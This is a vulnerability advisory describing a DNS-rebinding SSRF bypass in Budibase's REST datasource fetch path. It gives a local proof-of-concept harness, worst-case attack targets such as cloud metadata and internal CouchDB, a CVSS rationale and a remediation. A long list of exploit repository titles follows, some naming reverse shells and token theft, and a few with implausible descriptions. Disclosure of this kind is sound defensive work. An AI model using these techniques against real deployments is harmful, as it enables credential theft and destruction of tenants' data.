### Summary Budibase's central outbound-fetch guard (`fetchWithBlacklist`) prevents SSRF/DNS-rebinding by resolving the target hostname, checking every resolved IP against the blacklist, and **pinning** the connection to the validated IP. The pin is implemented as a Node `http(s).Agent` (`makePinnedAgent`). The fix for CVE-2026-54353 relies on this pin to stop DNS rebinding. The REST datasource integration (`@budibase/server`) calls `fetchWithBlacklist` but performs the actual request with **undici**'s `fetch`. undici does not support the Node `agent` option — it is silently ignored — and instead uses its own `dispatcher`, which re-resolves the hostname's DNS at connection time. As a result, **the validated/pinned IP is never used on the REST datasource path**, and the DNS-rebinding protection that CVE-2026-54353 added is silently defeated for the single most-used outbound path in Budibase. An authenticated user who can configure/run a REST datasource (e.g. a builder/tenant) can use a rebinding hostname (public IP during validation, internal IP at connect) to make the server issue arbitrary, full-response HTTP requests to internal-only services — cloud metadata (IAM credential theft), the internal CouchDB/Redis/MinIO, and other internal endpoints — reading and, because REST datasources allow arbitrary method/body, writing or destroying internal data. ### Details **The guard pins the validated IP via a Node agent** — `packages/backend-core/src/utils/outboundFetch.ts`: - `resolveSafePinnedIp(url)` resolves the hostname and checks every address against `isBlacklisted`, returning a single `pinnedIp` (lines ~39–53). - `makePinnedAgent(url, ip)` builds a **Node** `http.Agent`/`https.Agent` whose `lookup` always returns `pinnedIp`, so a node-fetch connection can only reach the validated IP (lines ~55–68). - `fetchWithBlacklist` passes that agent into the request: `fetchFn(nextUrl, { ...nextRequest, agent: makePinnedAgent(nextUrl, pinnedIp) })` (lines ~186–192). Each redirect hop is re-validated and re-pinned in the loop. **The REST integration overrides the transport with undici, which ignores `agent`** — `packages/server/src/integrations/rest.ts`: - `fetch` is imported from **`undici`** (top-of-file import block, ~line 30). - The request is made by overriding `fetchFn` (lines ~767–793): ```ts const setDispatcher = (requestInput, requestUrl) => ({ ...requestInput, dispatcher: getDispatcher({ rejectUnauthorized, url: requestUrl }), }) ... response = await coreUtils.fetchWithBlacklist(url, input, { fetchFn: async (requestUrl, requestInput) => fetch(requestUrl, setDispatcher(requestInput, requestUrl)), // undici.fetch }) ``` The options object reaching `undici.fetch` is `{ ...nextRequest, agent: <pinned Node Agent>, dispatcher: <getDispatcher result> }`. **undici uses `dispatcher` and ignores `agent`.** **The dispatcher does no IP pinning** — `packages/backend-core/src/utils/fetch.ts`: - `getDispatcher` → `createDispatcher` → (no proxy env) → `createDirectAgent` = `new Agent({ connect: { rejectUnauthorized } })` (lines ~109–114, ~161–172, ~183). This is a plain undici `Agent` with **no `connect.lookup` / no pin**, so undici resolves the hostname's DNS itself at connect time. **Net effect (TOCTOU / DNS rebinding):** `fetchWithBlacklist` validates the hostname → safe public IP and builds a pinned Node agent; the REST path then connects via undici, which re-resolves the same hostname independently. With a rebinding domain (TTL 0: public IP during validation, `127.0.0.1` / `169.254.169.254` / internal IP at connect), the request lands on an internal service — exactly the gap CVE-2026-54353's pin was meant to close. **Scope of impact / why it's REST-specific:** `rest.ts` is the only caller that overrides `fetchFn` with undici. All other outbound sinks (automation `outgoingWebhook`/`n8n`/`make`/`zapier`/`discord`/`slack`, and AI-extract's `processUrlFile`) use the default node-fetch-based `fetchWithBlacklist`, which **does** honor the pinned agent and is **not** affected. REST datasource queries are the most common outbound path, and the response body is returned to the caller (full-response SSRF, not blind). ### PoC The PoC drives the **real, unmodified** guard code (`outboundFetch.ts` + `fetch.ts`, copied verbatim — sha256 verified) and reproduces the exact `rest.ts` call pattern. Only the `../blacklist` module is stubbed to model the rebinding **input** (validation observes a safe public IP). Requires Node 18+. ```bash # prerequisite: a Budibase checkout; set BB to its path export BB=/path/to/budibase mkdir ssrf-poc && cd ssrf-poc SRC="$BB/packages/backend-core/src" # 1) Copy the REAL guard code, verbatim (sha proves no edits) mkdir -p real/utils real/blacklist cp "$SRC/utils/outboundFetch.ts" real/utils/ cp "$SRC/utils/fetch.ts" real/utils/ # 2) Scenario stub = the rebinding INPUT: validation sees a safe, non-blacklisted public IP cat > real/blacklist/index.ts <<'EOF' const SAFE = "203.0.113.10" // RFC5737 TEST-NET-3, not blacklisted -> validation passes export async function resolveAddress(_a: string): Promise<string[]> { return [SAFE] } export async function isBlacklisted(a: string): Promise<boolean> { return a !== SAFE } EOF # 3) Harness = REAL fetchWithBlacklist + REAL getDispatcher, exact rest.ts pattern cat > entry.ts <<'EOF' import http from "http" import { fetch as undiciFetch } from "undici" import { fetchWithBlacklist } from "./real/utils/outboundFetch" // REAL guard import { getDispatcher } from "./real/utils/fetch" // REAL dispatcher async function main() { const server = http.createServer((_q, r) => r.end("INTERNAL_SECRET_RESPONSE")) await new Promise<void>(r => server.listen(0, "127.0.0.1", r)) const port = (server.address() as any).port const target = `http://localhost:${port}/` // OS resolves localhost -> 127.0.0.1 at connect console.log(`[*] internal service 127.0.0.1:${port}; guard validates host -> 203.0.113.10 (safe), pins to it`) // (A) REST datasource path: undici fetch + real getDispatcher (exactly rest.ts). const restFetchFn = (u: string, i: any) => undiciFetch(u, { ...i, dispatcher: getDispatcher({ url: u, rejectUnauthorized: true }) as any }) as any let A: string try { const r: any = await fetchWithBlacklist(target, { method: "GET" } as any, { fetchFn: restFetchFn }); A = `status ${r.status} body=${await r.text()}` } catch (e: any) { A = `ERROR ${e.message}` } console.log("(A) REST/undici path ->", A) // (B) Negative control: default fetchFn (node-fetch) honors the pinned agent. let B: string try { const r: any = await fetchWithBlacklist(target, { method: "GET", timeout: 3000 } as any); B = `status ${r.status} body=${await r.text()}` } catch (e: any) { B = `ERROR ${e.message}` } console.log("(B) node-fetch path ->", B) const bypass = A.includes("INTERNAL_SECRET_RESPONSE"), contained = !B.includes("INTERNAL_SECRET_RESPONSE") console.log(`\nRESULT: ${bypass && contained ? "PASS - undici path BYPASSES guard, node-fetch path CONTAINED" : "FAIL"}`) server.close(); process.exit(bypass && contained ? 0 : 1) } main() EOF # 4) Deps, bundle, run npm init -y >/dev/null 2>&1 npm install undici@6 node-fetch@2 esbuild npx esbuild entry.ts --bundle --platform=node --format=cjs --outfile=entry.cjs node entry.cjs ``` **Expected output** (the port is the only variable): ``` [*] internal service 127.0.0.1:<random>; guard validates host -> 203.0.113.10 (safe), pins to it (A) REST/undici path -> status 200 body=INTERNAL_SECRET_RESPONSE (B) node-fetch path -> ERROR Failed to connect to resolved IP for localhost: network timeout at: http://localhost:<random>/ RESULT: PASS - undici path BYPASSES guard, node-fetch path CONTAINED ``` **How to read it:** - **(A)** the real `fetchWithBlacklist` validated and pinned the safe public IP `203.0.113.10`, yet the undici REST transport re-resolved `localhost` and reached `127.0.0.1` — the internal service responded → **SSRF bypass**. - **(B)** the default node-fetch path honored the pin (forced to the unroutable `203.0.113.10`) and never reached the internal service. The `"Failed to connect to resolved IP for localhost"` string is emitted by the real `outboundFetch.ts`, proving the pin works there. This is the negative control localizing the bug to the undici transport. **Real-world variant:** instead of `localhost`, an attacker uses a domain they control with a 0-second TTL that returns a public IP during the guard's validation lookup and an internal IP (`169.254.169.254`, `127.0.0.1`, internal CouchDB/Redis) at undici's connect-time lookup; the REST datasource query then returns the internal response body to the attacker. ### Impact **Type:** Server-Side Request Forgery via DNS rebinding (CWE-918 + CWE-367), full-response and with arbitrary HTTP method/body (REST datasources let the caller choose method, headers, and body). **Who is impacted:** Any Budibase deployment on an affected version, especially multi-tenant / Budibase-Cloud-style hosting where builders/tenants are not trusted with host-internal access. The SSRF blacklist is the control that contains those users; this bypass defeats it. **Realistic worst case:** An authenticated builder/tenant points a REST datasource at a rebinding host and makes the server: - read cloud metadata (`http://169.254.169.254/...`) → steal IAM credentials → **cloud account compromise**; - read the internal CouchDB (`http://127.0.0.1:5984/_all_dbs`, `_users`) → **all tenants' apps, users, and secrets**; - using `PUT`/`POST`/`DELETE` against unauthenticated localhost services → create admin documents, modify or **delete** tenant databases / flush caches → integrity and availability loss for all co-tenants. ### CVSS 3.1 Vector Justification | Metric | Value | Why | |---|---|---| | Attack Vector (AV) | Network (N) | Triggered through Budibase's HTTP API / app (a REST datasource query). | | Attack Complexity (AC) | High (H) | Requires DNS rebinding — the validation-time IP must differ from the connect-time IP (TOCTOU). A direct internal request without rebinding is blocked by the blacklist, so the race is mandatory. | | Privileges Required (PR) | Low (L) | Requires an authenticated account that can configure/run a REST datasource (builder/tenant). | | User Interaction (UI) | None (N) | The attacker configures and triggers the request; no victim interaction. | | Scope (S) | Changed (C) | Canonical SSRF: the vulnerable component is abused to reach resources in other security authorities (cloud metadata, internal CouchDB/Redis/MinIO). | | Confidentiality (C) | High (H) | Full-response SSRF: read cloud IAM credentials and the internal CouchDB (every tenant's apps, users, secrets). | | Integrity (I) | High (H) | Arbitrary method/body allows `PUT`/`POST`/`DELETE` to unauthenticated localhost services (CouchDB `:5984`) → create admin docs, modify tenant data. | | Availability (A) | High (H) | The same write primitive can `DELETE` databases / flush Redis → full data/service loss for all tenants. | **Notes:** AC:H is the standard, defensible scoring for DNS rebinding; if rebinding is treated as reliable (TTL-0 frameworks), `AC:L` yields `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`. A conservative read-only interpretation is `I:N/A:N`. ### Suggested remediation Make the transport that actually performs the request honor the validated IP. In `getDispatcher`/`rest.ts`, construct the undici `Agent` with a `connect: { lookup }` (or custom `connect`) that returns **only** the `pinnedIp` resolved by `fetchWithBlacklist` (i.e., mirror `makePinnedAgent` for undici), so the dispatcher cannot re-resolve DNS; alternatively, re-check the resolved peer IP against `isBlacklisted` inside the undici `connect` callback. The Node-`agent` pin must not be relied upon when the request is issued through undici.
PoC: CVE-2026-38192
pluck-CMS-4.7.20-code-injection-vulnerability
PoC: cve-2024-55591-poc
Educational implementation in Go for CVE-2024-55591 (Fortinet FortiOS Authentication Bypass). Designed for security research, vulnerability assessment, and understanding WebSocket-based auth bypass mechanisms.
PoC: cve-2026-82329-jfrog-artifactory
CVE-2026-82329 JFrog Artifactory unauthenticated auth-bypass: reproducible Docker lab + URL-parameter validator PoC + patch-diff analysis
PoC: CVE-2026-82592
D-Link DIR-825M formDiskFormat stack overflow + command injection RCE PoC (CVE-2026-82592); for authorized security testing
PoC: My-Exploits
Metasploit modules, Python PoCs and throwaway Docker labs for four platform CVEs: Keycloak (CVE-2026-18963), Apache NiFi (CVE-2026-39816), HashiCorp Vault (CVE-2026-5006), HashiCorp Nomad (CVE-2026-7474).
PoC: CVE-2025-66478-PoC-Reverse-Shell
CVE-2025-66478 PoC
PoC: cve-writeups-and-pocs
CVE-2026-80724 PoC + full write-up — Linux kernel ptp/vmclock read-only mapping becomes writable (VM_MAYWRITE). Discovered, reported & fixed by Abdifatah Suruur (suruurism)
PoC: CVE-2026-79483-FastGPT-NoSQL-Injection
FastGPT Community Edition NoSQL Injection PoC (CVE-2026-79483)
PoC: givewp-cve-2026-82222-rce-lab
Authorized Docker lab and clean PoC for validating CVE-2026-82222 RCE in GiveWP 4.16.5.1 and the 4.16.7.2 fix.
PoC: CVE-2026-19745
Learn how I found my first two CVEs by pure accident.
PoC: cve-2026-23989-opencloud-lab
Reproduction lab (A/B Docker) for CVE-2026-23989 — OpenCloud / ownCloud Infinite Scale public-link scope-validation bypass in Reva
PoC: CVE-2026-21962-Blog
CVE-2026-21962 Açığı için blog sayfası oluşturdum.
PoC: PoC-and-yara-rules-of-CVE-2025-59528-Flowise-has-Remote-Code-Execution-vulnerability
poc and yara rules
PoC: CVE-2026-33017
CVE-2025-62593 — Ray Unauthenticated RCE Exploit is an unauthenticated remote code execution vulnerability in the Ray distributed AI compute engine.
PoC: CVE-2026-13753-poc
Poc of CVE-2026-13753
PoC: CVE-2026-82221
PoC for Unauthenticated Reflected Cross-Site Scripting (XSS) in RegistrationMagic WordPress Plugin
PoC: ActiveMQ-CVE-2023-46604
Exploit POC for Apache ActiveMQ CVE-2023-46604
PoC: gha-lab-0ba60e6456
Authorized security-research lab reproducing CVE-2024-39700 / GHSA-45gq-v5wm-82wg (JupyterLab extension-template update-integration-tests pwn request)
PoC: CVE-2026-36130
CVE-2026-36130
PoC: CVE-2026-31321
CVE-2026-31321
PoC: postgresql-cve-2026-14662
PostgreSQL の全文検索(tsvector/tsquery)に見つかった範囲外書き込み脆弱性 CVE-2026-14662 を、修正前(18.4)と修正後(18.6)を Docker で並べて動かして検証した記録と発表資料
PoC: CVE-2026-27472-and-CVE-2026-27474
PoC for CVE-2026-27472 and CVE-2026-27474
PoC: CVE-2026-27475
PoC for CVE-2026-27475
PoC: CVE-2026-18963
Unauthenticated account takeover via reset-credentials flow bypass
PoC: CVE-2026-0768
CVE-2026-0768 - Draft or TODO
PoC: CVE-2026-82329
CVE-2026-82329 - Draft or TODO
PoC: tomcat-line-check
CVE-2026-24880: does Apache's upgrade advice actually apply to your Tomcat? Detects the fix by class presence, not version comparison. Covers 7.0/8.0/8.5/9.0/10.0/10.1/11.0 lines.
PoC: log4j2-vuln-lab
CVE-2021-44228 (Log4Shell) 漏洞复现靶场 | SpringBoot + Log4j2 2.14.1 | 3 个攻击向量 PoC 验证
PoC: CVE-2021-3493-Exploit
It's a CVE-2021-3493 Exploit written in C
PoC: gha-lab-8e9316151c
Controlled security-research lab reproducing CVE-2024-1540 (GitHub Actions command injection in gradio-app/gradio deploy+test-visual.yml) — flattened snapshot of gradio-app/gradio @ f35f615e33a5dd90bfeb106b6f5dca689849fcef
PoC: gha-lab-6255f5fc33
Security-research lab reproducing CVE-2023-6572 (GHSA-gqvf-3hgp-5hxv): command injection in gradio-app/gradio's workflow_run handling of generate-changeset.yml
PoC: nextcloud-cve-2023-49792-research
A project analysis of CVE-2023-49792, inspired by a HackerOne report I have recently come across.
PoC: CVE-2026-30252
The ZenShare Suite application is vulnerable by a Reflected Cross-Site Scripting (XSS) vulnerability, affecting web application login and recovery password functionalities.
PoC: CVE-2026-30251
A reflected cross-site scripting (XSS) vulnerability in the login_newpwd.php endpoint of Interzen Consulting S.r.l ZenShare Suite v17.0 allows attackers to execute arbitrary Javascript in the context of the user's browser via a crafted URL injected into the codice_azienda parameter.
PoC: gha-lab-fb32aba4a3
Authorized lab reproduction of CVE-2023-26493 (GHSL-2023-027): command injection via github.head_ref in cocos-engine's <Web> Interface check pull_request_target workflow
PoC: CVE-2018-14667_Lab_POC
Demonstration of the expression language (EL) injection vulnerability CVE-2018-14667 using the photoalbum lab under Jboss application server
PoC: weakrng-sweep
Weak-RNG stream-sweep research (CVE-2026-71851 class): PRNG schemes x seeds -> BIP39 -> victim set membership
PoC: cve-2022-29117-assessment
CVE-2022-29117 (.NET Cookie-Handling DoS) Assessment, Understanding & Questions Framework
PoC: POC-CVE-2026-0073
Security research PoC for CVE-2026-0073: ADB authentication bypass verification
PoC: gha-lab-232af4821f
Security-research lab reproducing CVE-2021-4281 (GHSA-3796-3f93-cfvx): shell command injection via PR head-branch name in .github/workflows/combine-prs.yml (snapshot of BraveUX/for-the-badge @ 409c1fda). Do not use; authorized reproduction only.
PoC: CVE-2026-82222
GiveWP <= 4.16.7.1 Unauthenticated PHP Object Injection → RCE
PoC: CVE-2026-76569
Reflected XSS via search GET Parameter in Phoca Download
PoC: activemq-cve-lab
ActiveMQ CVE-2015-5254 模拟靶场 - 用于 CVE 测试评测和 SCA 扫描演示
PoC: ghostlock-x200-app
vivo X200 设备端一键 root App（Shizuku 授权 shell 域执行，CVE-2026-43499）
PoC: gha-lab-b9842b12c0
Authorized security-research lab reproducing CVE-2021-21423 (GHSA-gg2g-m5wc-vccq): projen rebuild-bot pwn request via issue_comment
PoC: gha-lab-e4a85583c3
Security-research lab reproducing CVE-2020-36762 (GHSA-h9gr-83jq-f3xc): bash command injection via github.event.comment.body in the comment workflow of ONSdigital/ras-collection-instrument
PoC: Root-My-Galaxy
KSU installer for supported Samsung Galaxy firmware with CVE-2026-43499
PoC: CVE-2026-78905-Facebook-Account-Takeover
Social Media Infrastructure Vulnerability Research. CVE-2026-78905: OAuth token reuse and session hijacking in Facebook's Graph API.
PoC: CVE-2026-78904-Digital-Dinar-Drain
CBDC Infrastructure Vulnerability Research. CVE-2026-78904: Infinite mint and redemption bypass in central bank digital currency APIs.
PoC: CVE-2026-78903-SWIFT-Kick-to-the-Creds
Offensive Research & Exploit Development. Vulnerability research, PoC development, and offensive tooling for financial infrastructure.
PoC: CVE-2026-60004-Gitea-RCE-PoC
🫖 Direct single-target Gitea CVE-2026-60004 RCE validation PoC
PoC: CVE-2026-60004-Gitea-Validator
🫖 Contract-correlated discovery and authorized validation tool for Gitea CVE-2026-60004
PoC: cve-2026-67363-67364
Balboa form Command Injection POC
PoC: Simulation-d-attaque-BlueBorne-sur-v-hicule-connect-
Simulation complète d'une attaque Bluetooth (CVE-2017-1000251) sur un véhicule autonome via CARLA Simulator ; exploitation de la vulnérabilité BlueBorne pour accéder au bus CAN et déclencher un freinage brutal, en environnement isolé (Kali Linux VM / VMware / Python).
PoC: CVE-2026-76581-Detector
Safe passive detector for identifying WPMU DEV Dashboard versions affected by CVE-2026-76581.
PoC: htb-machine-ringdown
Detailed design & exploitation writeup for Ringdown—an original Debian/Asterisk vulnerable machine featuring CVE-2024-42365 (AMI), PJSIP pre-hash cracking, and Fail2ban POSIX ACL privilege escalation.
PoC: gha-lab-83342297e0
Authorized security-research lab reproducing CVE-2024-41127 (GHSA-wcjf-5464-4wq9): poisoned pipeline execution via artifact-controlled code injection in ci-failure-comment.yml. Snapshot of monkeytypegame/monkeytype @ deeea0f.
PoC: WP2Shell-Scanner
Read-only CLI to check whether a WordPress site is exposed to WP2Shell (CVE-2026-63030 / CVE-2026-60137)
PoC: phpBB-CVE-2026-48611
Automated PoC for CVE-2026-48611 — phpBB OAuth login_link authentication bypass
PoC: Project-CVE-2026-45833
CVE-2026-45833 ChromaDB
PoC: CitrixBleedCVE-2026-8452-2025-5777
CitrixBleed Exploit Tool - CVE-2025-5777 & CVE-2026-8452. Unauthenticated remote memory read from Citrix NetScaler ADC & Gateway. Steal admin session tokens, extract nsroot hashes, dump secrets, and bypass MFA. Python 3 exploit with full memory parsing.
PoC: CVE-2026-76581
CVE-2026-76581
PoC: drupalgeddon2-cve-lab
Drupalgeddon2 CVE-2018-7600 vulnerable Drupal 7 lab
PoC: shellshock-cve-lab
Shellshock CVE-2014-6271 vulnerable CGI lab
PoC: log4shell-cve-lab
Log4Shell CVE-2021-44228 vulnerable lab
PoC: CVE-2026-18741
PoC CVE-2026-18741
PoC: CVE-2026-12513
CVE-2026-12513 Vulnerability Advisory & PoC — Discovered by Huynh Kien Minh (MinhHK).
PoC: ghostlock-oppo-watch3pro
CVE-2026-43499 on OPPO Watch 3 Pro
PoC: cve-2026-82222-poc
Public PoC for CVE-2026-82222
PoC: zk-xml-probe
Static XML fixtures for authorized bug bounty testing of XML parser behaviour (CVE-2026-45071).
PoC: SOC335-CVE-2024-49138-Investigation
SOC investigation of a CVE-2024-49138 exploitation alert using log analysis, threat intelligence, and endpoint containment.
PoC: papercut-toolkit
#PaperCut CVE-2026-81578 + CVE-2026-82078 Defense Toolkit 2 3 A **defensive** toolkit to check and understand exposure to the chained
PoC: PaperCut-CVE-2026-81578-82078
Security research tool for PaperCut CVE-2026-81578 & CVE-2026-82078
PoC: vankyo-s30-bootloader-unlock
Vankyo MatrixPad S30 (Unisoc SC9863A) — Bootloader unlock via CVE-2022-38694 FDL1 method
PoC: CVE-2026-21962-Blog
CVE-2026-21962 Açığı için blog sayfası oluşturdum.
PoC: hdwebmobile-formula-pricing
WooCommerce plugin: safe formula-based product pricing, closing CVE-2026-4001's eval()-based RCE
PoC: CVE-2026-82286-gpt-crawler-Arbitrary-File-Write
CVE-2026-82286 — gpt-crawler <=1.5.1 unauthenticated arbitrary file write via outputFileName (POST /crawl). PoC + self-contained Docker lab. CVSS 8.6, CWE-22.
PoC: CVE-2026-24061-payload
A PoC exploit for CVE-2026-24061 - GNU InetUtils telnetd Argument Injection Authentication Bypass
PoC: CVE-2026-66384
CVE-2026-66384 - Draft or TODO
PoC: CVE-2026-33017-PoC-Reverse-Shell
CVE-2026-33017 PoC Reverse Shell
PoC: CVE-2026-33057---Mesop-Unauthenticated-RCE-PoC-and-yara-rules
CVE-2026-33057 - Mesop Unauthenticated RCE PoC and yara rules
PoC: CVE-2026-10036-speechbrain-rce
SpeechBrain < 1.1.1 checkpoint metadata RCE via unsafe PyYAML parsing of CKPT.yaml.
PoC: CVE-2025-55182-poc
I know you are probably here from Hack the Box, if so, yes this one actually works.
PoC: Project-CVE-2026-50751
IKEv1 VPN scanners, attempts a Check Point authentication-bypass exploit, and includes internal network scanning and reverse-shell features.
PoC: CTT-Enhanced-CVE-2026-46339-Exploit-Engine
A specialized Python framework that executes unauthenticated remote code execution via the 9Router Model Context Protocol (MCP) bridge by deploying a 33-layer temporal phase cascade, Riemann-Hadamard dispersion, and an 11 ns wedge filter to bypass traditional proxy and process-monitoring defenses.
PoC: Zimbra-CVE-2026-73570-Rules
Wazuh Rules for Detection Zimbra (CVE-2026-73570).
PoC: CVE-2022-46169
Cacti 1.2.22 unauthenticated command injection
PoC: CVE-2024-23897
Jenkins CVE-2024-23897 — CSRF-crumb aware PoC
PoC: CVE-2025-10952-ml-logger-AFR
PoC for CVE-2025-10952 — ml-logger unauthenticated arbitrary file read. CVSS 5.3
PoC: CVE-2026-65643
CVE-2026-65643 - Draft or TODO
PoC: cve-2023-23397-detection-lab
Detection and mitigation research lab for CVE-2023-23397 using network and endpoint security telemetry.
PoC: fastjson-cve
fastjson-cve-2026-16723
PoC: CVE-2026-23751-poc
Patched RemotingClient to exploit CVE-2026-23751 (Tungsten Automation - Kofax Capture Unauthenticated File Read/Write and SMB coercion via .NET HTTP Remoting)
PoC: CVE-2023-27350-CVE-2023-27351
CVE-2023-27350, CVE-2023-27351 - PaperCut - Draft or TODO
PoC: Project-CVE-2026-33017
CVE-2026-33017 - Langflow Unauthenticated RCE Exploit
PoC: CVE-2026-70463
Testing CVE-2026-70463 by Fyyre
PoC: 2025-Oracle-SSO-LDAP-Attack-Post-Incident-Written-Report
Post-incident report analyzing the Oracle Cloud SSO/LDAP supply chain attack (CVE-2021-35587). Details the exploitation of legacy server infrastructure, impact across 140,000+ cloud tenants, root-cause findings, and phased mitigation strategies.
PoC: CVE-2026-20131-Post-Incident-Written-Report
Post-incident report on CVE-2026-20131 (CVSS 10.0), a Cisco FMC insecure deserialization vulnerability exploited by Interlock ransomware. Details root-cause analysis, lateral movement tactics, and emergency containment strategies.
PoC: ghostlock-pfem10
GhostLock (CVE-2026-43499 / IonStack) research for OPPO Find X5 Pro (PFEM10): exploit chain, progress, blocker log, and OPPO 5-series kernel notes
PoC: htb-labs-connected
Hack The Box Connected machine write-up featuring enumeration, CVE-2025-57819 exploitation, reverse shell, and privilege escalation to root via FreePBX and incron.
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
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